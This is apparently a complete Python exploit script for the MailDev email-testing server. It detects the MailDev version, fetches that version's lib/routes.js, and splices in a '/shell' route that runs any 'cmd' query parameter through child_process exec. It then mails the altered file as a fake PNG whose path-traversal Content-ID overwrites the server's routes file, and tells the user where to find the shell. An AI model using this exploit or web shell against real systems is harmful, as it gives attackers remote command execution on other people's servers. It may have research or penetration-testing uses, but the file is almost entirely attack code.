"""
Coded by Timothy Hoekstra
Intrix Cyber Security
https://github.com/Tim-Hoekstra
"""
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import re
from bs4 import BeautifulSoup
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from webdriver_manager.chrome import ChromeDriverManager
import io
import tarfile
import requests

# Get SMTP server and port from command line arguments
smtp_server = input("Please enter the SMTP server: ")
smtp_port = input("Please enter the SMTP port: ")
# Ask the user for the MailDev web UI port
maildev_web_ui_port = input("Please enter the MailDev web UI port (or just hit enter if you don't know it): ")
# If the user entered a port, use it. Otherwise, use an empty string.
maildev_web_ui_port = maildev_web_ui_port if maildev_web_ui_port else ""

# Ask the user for the sender and recipient email addresses
sender_email = input("Please enter the sender email address or hit enter for default (your_email@example.com): ")
recipient_email = input("Please enter the recipient email address or hit enter for default (recipient@example.com): ")

# If the user entered an email, use it. Otherwise, use the default.
sender_email = sender_email if sender_email else "your_email@example.com"
recipient_email = recipient_email if recipient_email else "recipient@example.com"

if maildev_web_ui_port != "":
    # Ask the user if they want to automatically get the version from the MailDev web UI
    auto_version = input("Would you like to automatically try to get version from MailDev web UI? (Y/n/yes/no): ").lower()
    auto_version = auto_version if auto_version else 'y'

    # If the user entered 'y' or 'yes', proceed with the automatic version retrieval. Otherwise, skip it.
    if auto_version in ['y', 'yes']:
        print("Getting version number from maildev web UI...")
        options = Options()
        options.add_argument("--headless")  # Use headless mode
        driver = webdriver.Chrome(options=options)
        driver.get(f'http://{smtp_server}:{maildev_web_ui_port}/')

        html = driver.page_source
        soup = BeautifulSoup(html, 'html.parser')       
        #version_text = soup.text
        #version_match = re.search(r'(\d+\.\d+\.\d+)', version_text)  # Regex to match version number
        #if version_match:
        #    version = version_match.group(1)
        #    print(f'You are running MailDev {version}')
        version_tag = soup.find('small', {'class': 'ng-binding'})
        if version_tag:
            version_text = version_tag.text
            version = version_text.split()[-1]
            print(f'You are running MailDev {version}')
        else:
            print('Failed to auto detect version')
            version = input("Please enter the MailDev version number or hit enter for default (latest version): ")
            if not version:
                print("Defaulting to latest version...")
                version = ''

        driver.quit()  
    else:
        version = input("Please enter the MailDev version number or hit enter for default (latest version): ")
        print(version)
        if not version:
            print("Defaulting to latest version...")
            version = ''
    # Download the tar.gz file
    if version == '':
        url = f'https://raw.githubusercontent.com/maildev/maildev/master/lib/routes.js'
    url = f'https://github.com/maildev/maildev/archive/refs/tags/v{version}.tar.gz'
else:
    version = input("Please enter the MailDev version number or hit enter for default (latest version): ")
    if not version:
        print("Defaulting to latest version...")
        version = ''
    # Download the tar.gz file
    if version == '':
        url = f'https://raw.githubusercontent.com/maildev/maildev/master/lib/routes.js'
    url = f'https://github.com/maildev/maildev/archive/refs/tags/v{version}.tar.gz'

response = requests.get(url)

# Open the tar.gz file in memory
tar_gz_file = io.BytesIO(response.content)

# Extract the tar.gz file in memory
with tarfile.open(fileobj=tar_gz_file, mode="r:gz") as tar:
    # Find the lib/routes.js file in the tar file
    for member in tar.getmembers():
        if member.name.endswith('lib/routes.js'):
            # Extract the file and assign its contents to a variable
            routes_js_file = tar.extractfile(member)
            routes_js_content = routes_js_file.read().decode('utf-8')
            break
# Now routes_js_content contains the contents of lib/routes.js
# Find the line where we need to insert the payload
def generate_payload(routes_js_content):
  payload = """
      router.get('/shell', function (req, res) {
          const { exec } = require('child_process');
          const command = req.query.cmd;

          if (!command) {
              return res.status(400).json({ error: 'Command parameter (cmd) is required' });
          }

          exec(command, (error, stdout, stderr) => {
            if (error) {
                console.error(`Error: ${error.message}`);
                res.status(500).json({ error: error.message, stderr, stdout });
                return;
            }

            if (stderr) {
                console.error(`stderr: ${stderr}`);
                res.status(500).json({ stderr, stdout });
                return;
            }

            console.log(`stdout: ${stdout}`);
            res.json({ result: stdout.trim() });
          });
      });
      """
  #print(routes_js_content)
  insert_index = routes_js_content.find('const router = express.Router()')
  # If the line is found
  if insert_index != -1:
      print("Found offset")
      # Calculate the end index of 'const router = express.Router()'
      end_index = insert_index + len('const router = express.Router()')
      # Insert the payload after 'const router = express.Router()'
      routes_js_content = routes_js_content[:end_index] + payload + routes_js_content[end_index:]
  else:
       print("Exploit failed to find offset")
       exit(1)
  return routes_js_content

routes_js_content = generate_payload(routes_js_content)

# Create a multipart message
msg = MIMEMultipart()
msg["From"] = sender_email
msg["To"] = recipient_email
msg["Subject"] = "Malicious Email Exploit"

# Add text part to the email (optional)
text = MIMEText("Please see the attached image.")
msg.attach(text)
# Add malicious image with Content-ID for path traversal
malicious_image = MIMEImage(routes_js_content.encode('utf-8'), _subtype="png", name="a.png")
malicious_image.add_header("Content-ID", "<../../../home/node/lib/routes.js>")
msg.attach(malicious_image)

# Connect to the SMTP server and send the email
try:
    with smtplib.SMTP(smtp_server, smtp_port) as server:
        server.sendmail(sender_email, recipient_email, msg.as_string())
    print("Email sent successfully.")
    print("Find your shell at /shell?cmd=")
except Exception as e:
    print(f"Error: {e}")